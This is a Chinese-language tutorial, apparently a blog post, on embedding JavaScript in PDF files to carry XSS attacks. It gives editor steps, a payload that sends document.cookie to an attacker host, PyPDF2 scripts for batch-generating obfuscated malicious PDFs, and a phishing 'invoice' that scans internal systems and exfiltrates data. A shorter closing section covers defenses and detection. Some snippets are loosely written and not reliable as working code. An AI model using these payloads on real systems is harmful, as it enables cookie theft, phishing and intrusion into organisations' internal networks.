1. 为什么PDF会成为XSS攻击的载体?
很多人可能觉得PDF就是个普通的文档格式,怎么还能用来搞XSS攻击?这得从PDF的标准说起。PDF其实支持嵌入JavaScript代码,这个特性原本是为了实现表单交互、文档验证等合法功能。但就像很多技术一样,正反两面都能用。
我在实际测试中发现,很多系统对上传的PDF文件检查很宽松。它们可能检查了EXE、ZIP这些明显危险的文件,却对PDF网开一面。这就给攻击者留了后门。更关键的是,当用户用浏览器直接打开PDF时,里面的JavaScript代码就会被执行,这就形成了典型的跨站脚本攻击场景。
2. 手工制作含XSS的PDF文件
2.1 使用PDF编辑器嵌入JS代码
我常用迅捷PDF编辑器来做这个测试,下面是详细步骤:
首先下载安装编辑器,新建一个空白文档。重点来了:点击"文件"→"属性"→"JavaScript"选项卡。这里有个"添加"按钮,点击后就能输入JS代码了。比如最简单的测试代码:
app.alert('XSS测试成功!');保存文件后用浏览器打开,如果看到弹窗就说明成功了。但要注意,不是所有JS功能都能用,Adobe限制了一些危险API。我在测试中发现以下函数是可用的:
app.alert()弹窗console.show()显示控制台this.getURL()获取文档URL
2.2 高级攻击载荷设计
光弹个窗当然没意思,实战中我们可以做得更隐蔽。比如这段代码会在打开PDF时悄悄把用户cookie发到攻击者服务器:
var xhr = new XMLHttpRequest(); xhr.open('POST', 'http://attacker.com/collect', true); xhr.send(document.cookie);为了不被发现,我通常会把这些代码隐藏在PDF的表单动作或者文档打开事件里。有些编辑器还支持设置代码延迟执行,让攻击更隐蔽。
3. 用Python批量生成恶意PDF
3.1 PyPDF2库基础用法
手工制作适合单次测试,但批量生成还得靠代码。Python的PyPDF2库是我的首选。先安装:
pip install PyPDF2基础生成代码是这样的:
from PyPDF2 import PdfWriter malicious_pdf = PdfWriter() malicious_pdf.add_js("app.alert('XSS from Python!');") with open("malicious.pdf", "wb") as f: malicious_pdf.write(f)3.2 高级技巧:隐藏代码与混淆
直接放alert太明显了,我常用这些技巧增强隐蔽性:
- 代码分块注入:
js_code = """ var a='ale'; var b='rt'; window[a+b]('XSS'); """ malicious_pdf.add_js(js_code)- 结合PDF表单:
from PyPDF2 import PdfReader # 先加载正常PDF reader = PdfReader("clean.pdf") writer = PdfWriter() # 复制所有页面 for page in reader.pages: writer.add_page(page) # 在表单提交时触发 writer.add_js('event.target.submitForm({...})')4. 实战渗透测试中的应用场景
4.1 文件上传漏洞利用
上周测试一个系统时就遇到典型场景。他们限制了上传文件类型:
- 禁止:.php, .exe, .js
- 允许:.pdf, .docx
我上传了含JS的PDF后,管理员在后台预览时就直接中招了。这种攻击特别适合:
- 内容管理系统(CMS)
- 在线文档处理平台
- 企业OA系统的文件上传功能
4.2 钓鱼攻击组合拳
单纯XSS可能价值有限,但配合钓鱼就是大杀器。我的常用套路:
- 制作含JS的"发票.pdf"
- 代码会检测是否在目标公司内网
- 如果是就发起内部系统扫描
function checkInternal() { fetch('http://internal-system/admin') .then(res => exfiltrateData(res)) .catch(() => {}) }5. 防御措施与检测方法
5.1 开发者该如何防护
根据我的经验,这些措施最有效:
- 内容安全策略(CSP):
Content-Security-Policy: script-src 'none'- 服务器端检查:
- 使用pdf.js等工具在服务端渲染PDF
- 检查PDF元数据中的JS代码
- 禁用浏览器PDF预览:
location ~ \.pdf$ { add_header Content-Disposition "attachment"; }5.2 安全人员检测方法
我在审计时常用这些手法:
- 使用pdfid.py工具扫描:
python pdfid.py -j suspect.pdf- 手动检查PDF对象:
from PyPDF2 import PdfReader reader = PdfReader("test.pdf") if '/JS' in reader.trailer: print("发现JavaScript代码!")- 动态分析:在沙箱中打开PDF,监控网络请求和API调用。
最近遇到一个案例,攻击者把JS代码藏在PDF的注释字段里,常规扫描都没发现。最后还是通过动态分析抓到的。所以防御一定要多层结合。